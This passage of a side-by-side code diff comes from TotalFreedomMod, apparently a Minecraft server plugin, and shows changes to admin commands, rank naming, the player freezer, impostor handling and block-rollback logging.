return true; return true;
} }
case "setrank":
{
if (args.length < 3)
{
return false;
}
checkConsole();
checkRank(Rank.SENIOR_CONSOLE);
Rank rank = Rank.findRank(args[2]);
if (!rank.isAtLeast(Rank.SUPER_ADMIN))
{
msg("Rank must be superadmin or higher.", ChatColor.RED);
return true;
}
Admin admin = plugin.al.getEntryByName(args[1]);
if (admin == null)
{
msg("Unknown admin: " + args[1]);
return true;
}
admin.setRank(rank);
plugin.al.save(admin);
msg("Set " + admin.getName() + "'s rank to " + rank.getName());
return true;
}
case "info": case "info":
{ {
if (args.length < 2) if (args.length < 2)
@ -149,11 +190,20 @@ public class Command_saconfig extends FreedomCommand
return true; return true;
} }
final Admin admin = player != null ? plugin.al.getEntryByName(player.getName()) : plugin.al.getEntryByName(args[1]); String name = player != null ? player.getName() : args[1];
Admin admin = null;
for (Admin loopAdmin : plugin.al.getAllAdmins().values())
{
if (loopAdmin.getName().equalsIgnoreCase(name))
{
admin = loopAdmin;
break;
}
}
if (admin != null) // Existing admin if (admin != null) // Existing admin
{ {
FUtil.adminAction(sender.getName(), "Readding " + admin.getName() + " to the admin list", true); FUtil.adminAction(sender.getName(), "Readding " + admin.getName() + " to the admin list", true);
if (player != null) if (player != null)
@ -163,6 +213,12 @@ public class Command_saconfig extends FreedomCommand
admin.setActive(true); admin.setActive(true);
admin.setLastLogin(new Date()); admin.setLastLogin(new Date());
if (player != null)
{
admin.addIp(Ips.getIp(player));
}
plugin.al.save(admin); plugin.al.save(admin);
plugin.al.updateTables(); plugin.al.updateTables();
} }
@ -213,8 +269,9 @@ public class Command_saconfig extends FreedomCommand
} }
FUtil.adminAction(sender.getName(), "Removing " + admin.getName() + " from the admin list", true); FUtil.adminAction(sender.getName(), "Removing " + admin.getName() + " from the admin list", true);
plugin.al.removeAdmin(admin); admin.setActive(false);
plugin.al.save(admin);
plugin.al.updateTables();
return true; return true;
} }

View File

@ -46,7 +46,7 @@ public class Command_warn extends FreedomCommand
String warnReason = StringUtils.join(ArrayUtils.subarray(args, 1, args.length), " "); String warnReason = StringUtils.join(ArrayUtils.subarray(args, 1, args.length), " ");
msg(ChatColor.RED + "[WARNING] " + warnReason); msg(player, ChatColor.RED + "[WARNING] You received a warning: " + warnReason);
msg(ChatColor.GREEN + "You have successfully warned " + player.getName()); msg(ChatColor.GREEN + "You have successfully warned " + player.getName());
plugin.pl.getPlayer(player).incrementWarnings(); plugin.pl.getPlayer(player).incrementWarnings();

View File

@ -4,6 +4,7 @@ import lombok.Getter;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod; import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.Location;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
@ -51,17 +52,26 @@ public class Freezer extends FreedomService
{ {
final Player player = event.getPlayer(); final Player player = event.getPlayer();
if (!plugin.al.isAdmin(player)) if (plugin.al.isAdmin(player))
{ {
return; return;
} }
final FreezeData fd = plugin.pl.getPlayer(player).getFreezeData(); final FreezeData fd = plugin.pl.getPlayer(player).getFreezeData();
if (globalFreeze || fd.isFrozen()) if (!fd.isFrozen() && !globalFreeze)
{ {
FUtil.setFlying(player, true); return;
event.setTo(fd.getLocation());
} }
FUtil.setFlying(player, true);
Location loc = fd.getLocation();
if (loc == null)
{
loc = event.getFrom();
}
event.setTo(loc);
} }
} }

View File

@ -10,7 +10,7 @@ public enum Rank implements RankBase
NON_OP(Type.PLAYER, "a", "", ChatColor.GREEN), NON_OP(Type.PLAYER, "a", "", ChatColor.GREEN),
OP(Type.PLAYER, "an", "OP", ChatColor.RED), OP(Type.PLAYER, "an", "OP", ChatColor.RED),
SUPER_ADMIN(Type.ADMIN, "a", "SA", ChatColor.GOLD), SUPER_ADMIN(Type.ADMIN, "a", "SA", ChatColor.GOLD),
TELNET_ADMIN(Type.ADMIN, "a", "StA", ChatColor.DARK_GREEN), TELNET_ADMIN(Type.ADMIN, "a", "STA", ChatColor.DARK_GREEN),
SENIOR_ADMIN(Type.ADMIN, "a", "SrA", ChatColor.LIGHT_PURPLE), SENIOR_ADMIN(Type.ADMIN, "a", "SrA", ChatColor.LIGHT_PURPLE),
TELNET_CONSOLE(), TELNET_CONSOLE(),
SENIOR_CONSOLE(); SENIOR_CONSOLE();
@ -39,7 +39,7 @@ public enum Rank implements RankBase
String tempName = ""; String tempName = "";
for (String part : nameParts) for (String part : nameParts)
{ {
tempName = Character.toUpperCase(part.charAt(0)) + part.substring(1) + " "; tempName += Character.toUpperCase(part.charAt(0)) + part.substring(1) + " ";
} }
name = tempName.trim(); name = tempName.trim();

View File

@ -140,13 +140,14 @@ public class RankManager extends FreedomService
// Handle impostors // Handle impostors
if (plugin.al.isAdminImpostor(player)) if (plugin.al.isAdminImpostor(player))
{ {
FUtil.bcastMsg("Warning: " + player.getName() + " has been flagged as an impostor and has been frozen!", ChatColor.RED);
FUtil.bcastMsg(ChatColor.AQUA + player.getName() + " is " + Rank.IMPOSTOR.getColoredLoginMessage()); FUtil.bcastMsg(ChatColor.AQUA + player.getName() + " is " + Rank.IMPOSTOR.getColoredLoginMessage());
FUtil.bcastMsg("Warning: " + player.getName() + " has been flagged as an impostor and has been frozen!", ChatColor.RED);
player.getInventory().clear(); player.getInventory().clear();
player.setOp(false); player.setOp(false);
player.setGameMode(GameMode.SURVIVAL); player.setGameMode(GameMode.SURVIVAL);
plugin.pl.getPlayer(player).getFreezeData().setFrozen(true); plugin.pl.getPlayer(player).getFreezeData().setFrozen(true);
player.sendMessage(ChatColor.RED + "You are marked as an impostor, please verify yourself!"); player.sendMessage(ChatColor.RED + "You are marked as an impostor, please verify yourself!");
return;
} }
// Set display // Set display

View File

@ -47,22 +47,12 @@ public class RollbackManager extends FreedomService
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true) @EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
public void blockPlace(BlockPlaceEvent event) public void blockPlace(BlockPlaceEvent event)
{ {
if (plugin.al.isAdmin(event.getPlayer()))
{
return;
}
storeEntry(event.getPlayer(), new RollbackEntry(event.getPlayer().getName(), event.getBlock(), EntryType.BLOCK_PLACE)); storeEntry(event.getPlayer(), new RollbackEntry(event.getPlayer().getName(), event.getBlock(), EntryType.BLOCK_PLACE));
} }
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true) @EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
public void blockBreak(BlockBreakEvent event) public void blockBreak(BlockBreakEvent event)
{ {
if (!plugin.al.isAdmin(event.getPlayer()))
{
return;
}
storeEntry(event.getPlayer(), new RollbackEntry(event.getPlayer().getName(), event.getBlock(), EntryType.BLOCK_BREAK)); storeEntry(event.getPlayer(), new RollbackEntry(event.getPlayer().getName(), event.getBlock(), EntryType.BLOCK_BREAK));
} }

View File

@ -37,7 +37,7 @@ public class FSync
}.runTask(TotalFreedomMod.plugin); }.runTask(TotalFreedomMod.plugin);
} }
public static void adminChatMessage(final CommandSender sender, final String message, final boolean isRed) public static void adminChatMessage(final CommandSender sender, final String message)
{ {
new BukkitRunnable() new BukkitRunnable()
{ {
@ -45,7 +45,7 @@ public class FSync
@Override @Override
public void run() public void run()
{ {
FUtil.adminChatMessage(sender, message, isRed); FUtil.adminChatMessage(sender, message);
} }
}.runTask(TotalFreedomMod.plugin); }.runTask(TotalFreedomMod.plugin);

View File

@ -826,7 +826,7 @@ public class FUtil
} }
} }
public static void adminChatMessage(CommandSender sender, String message, boolean senderIsConsole) public static void adminChatMessage(CommandSender sender, String message)
{ {
String name = sender.getName() + " " + TotalFreedomMod.plugin.rm.getDisplay(sender).getColoredTag() + ChatColor.WHITE; String name = sender.getName() + " " + TotalFreedomMod.plugin.rm.getDisplay(sender).getColoredTag() + ChatColor.WHITE;
FLog.info("[ADMIN] " + name + ": " + message); FLog.info("[ADMIN] " + name + ": " + message);